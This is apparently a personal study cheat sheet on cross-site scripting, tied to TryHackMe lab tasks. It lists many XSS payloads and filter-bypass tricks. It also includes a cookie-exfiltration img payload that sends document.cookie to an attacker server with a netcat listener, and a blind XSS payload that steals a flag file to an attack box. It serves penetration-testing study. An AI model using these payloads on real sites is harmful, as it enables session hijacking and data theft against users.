Cross-site scripting (XSS)

XSS (cross-site scripting).

4 types of XSS attack methods:

  1. Reflected XSS

  2. Stored XSS

  3. DOM XSS

  4. Blind XSS

Methods to load XSS payload

  1. URL file path, or query parameters

  2. Insecure Javascript functions

    • eval()

  3. Non-validated user input forms

  4. window.location.x

    • Eg. window.location.hash

Perfecting payload

Practice room: https://tryhackme.com/r/room/xss, Task 7 (Perfecting your payload)

Some of the examples listed below are taken from the TryHackMe (THM) practice lab link above.

1. Input within <h2> tag with no filter (THM level 1)

a) Simply <script>alert('XSS');</script>

2. Input used as value attribute of <input> tag (THM level 2)

Eg. XSS payload input: <script>alert('XSS');</script>-> <input value="<script>alert('XSS');"</script>">

a) "> <script>alert('XSS');</script>

  • ": The first quotation mark is used to escape from the value attribute of the <input> tag

  • >: The > character is used to close the <input> tag

3. Input used as value within <textarea> tag (THM level 3)

Eg. XSS payload input: <script>alert('XSS');</script>-> <textarea><script>alert('XSS');</script></textarea>

a) </textarea> <script>alert('XSS');</script>

  • </textarea>: The <textarea> closing tag to close the textarea

4. Input used as value to innerHTML in a script (within a <script> tag) (THM level 4)

Eg. XSS payload input: <script>alert('XSS');</script> -> <script> document.getElementsByClassName(...)[0].innerHTML='<script>alert('XSS'); ...

a) '; alert('XSS'); //

  • ': To escape from the field

  • ;: To signify end of command on the current line in JavaScript

  • //: Makes the code after the alert statement to be comments (to not be executed)

b) ' </script> <script> alert('THM');</script>

  • ': To escape from the field

  • </script>: To close the original <script> tag, to allow for opening of a new <script> tag

5. Filter that removes the word script (THM level 5)

Eg. <script>alert('XSS');</script> -> <>alert('XSS');</>

a) <scripscriptt>alert('XSS');</scripscriptt>

-> <scripscriptt>alert('XSS');</scripscriptt>

-> <script>alert('XSS');</script>

6. Input used as value for the src attribute of the img tag, with HTML opening/closing tags removed (< and >) (level 6)

Eg.

Valid input: /images/test.jpg -> <img src="/images/test.jpg" >

XSS payload input: "> <script>alert('XSS');</script> -> <img src="" scriptalert('xss');="" script"=""> (< and > removed)

How to bypass:

a) /images/cat.jpg " onload="javascript:alert('THM');"

  • Instead of escaping out of the <img> tag to create a new <script> tag, an inline attribute can be used to call a script instead

  • /images/cat.jpg: Can be any other valid path to an image that exists. This is to trigger the onload attribute function to be called after the image has loaded.

  • ": The quotation marks right after the invalid image file path is used to escape the src attribute, and create the onload attribute

b) / " onerror="alert('XSS');"

  • Similar to part a)

  • /: Can be any other invalid path to an image that does not exists. This is to trigger the onerror attribute function to be called.

  • ": The quotation marks right after the invalid image file path is used to escape the src attribute, and create the onerror attribute

8. IMG tag

a) <img src="/invalid-path" onerror="alert('XSS');">

b) <img src="/valid-path" onload="alert('THM');">

c) Extract the cookies? ๐Ÿช : <img src="/invalid-path" onerror="(function(){console.log(document.cookie);fetch('https://<server_address>:8888?cookie='+btoa(document.cookie));})()">

Netcat command to listen at the <server_address>:

$ nc -nvlp 8888

-> Log the cookie and send an API call with the cookie as the request body

  1. Disallow <script></script> tag

a) Use anchor tag: <a onmouseover="javascript:alert('XSS');">...</a>

b) Use iframe tag: <iframe src="javascript:alert('XSS');">

... refer to OWASP cheat sheet below for more examples

Polygots

An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('XSS')//>\x3e

Taken from: https://tryhackme.com/r/room/xss

General XSS payloads

Generally, the following payloads containing different HTML tags can be used to test for the presence of a XSS vulnerability. Some tag may work, while some may not.

For some browsers, the payload may be interpreted diferrently. Try the following methods to troubleshoot the issue:

a) Closing slash

Eg. <img> vs <img/>

b) Apostrophe vs backtick

Eg. alert(`xss`) vs alert('xss')

General payloads

  1. <script></script>

<script>alert(`yay`)</script>
  1. <img/>

<img src=x onerror="alert(`xss`)">
<img src="javascript:alert(`xss`)">
  1. <svg/>

<svg onload="alert(`xss`)">
  1. <iframe/>

<iframe src="javascript:alert(`xss`)">
<iframe srcdoc="<script>alert(`xss`)</script>">
  1. <a>

<a href="javascript:alert(1)">
  1. <span>, <br>

<span onmouseover="alert(`xss`)"></span>
<br onmouseover=alert('xss')/>
  1. <video>

<video onplay="alert(`xss`)"><source src=x></video>
  1. <object/>

...

Blind XSS payloads

  1. '"> <script>fetch('http://<IP>:[port]?xss=yay')</script>

  2. '"> <script src="http://<IP>:[port]?xss=yay"></script>

  3. <img/>,<object/>

  4. <iframe src="javascript:alert(`xss`)"/>

Bypass restrictions/filters, etc.

  1. Obfuscation

-> unicode, url-encode, etc.

-> base64

  1. Capitalization

Eg. <img src="x" onerror="alert('xss')"/>

-> <img sRc="x" onerror="alert('xss')"/> (capitalize 'r' in src)

-> <img src="x" onerRoR="alert('xss')"/> (capitalize 2 last 'r' in onerror)

Vulnerability assessment automation

TODO: Write a script that fuzzes different XSS payloads to the task 7 challenge of OWASP juice shop TryHackMe challenge (link below)

Practice

Task 7 of OWASP juice shop room in TryHackMe:

a) Challenge: https://tryhackme.com/room/owaspjuiceshop

b) Write-up: https://jarrettgxz-sec.gitbook.io/penetration-testing-ethical-hacking/write-ups/owasp-juice-shop

Blind XSS payload:

"><script>(function(){ fetch("http://127.0.0.1:8080/flag.txt").then(res=>res.text()).then(data=>fetch("http://<attack_box_ip>:<port>?v="+btoa(data))); })()</script>

OWASP XSS filter evasion cheat sheet

Last updated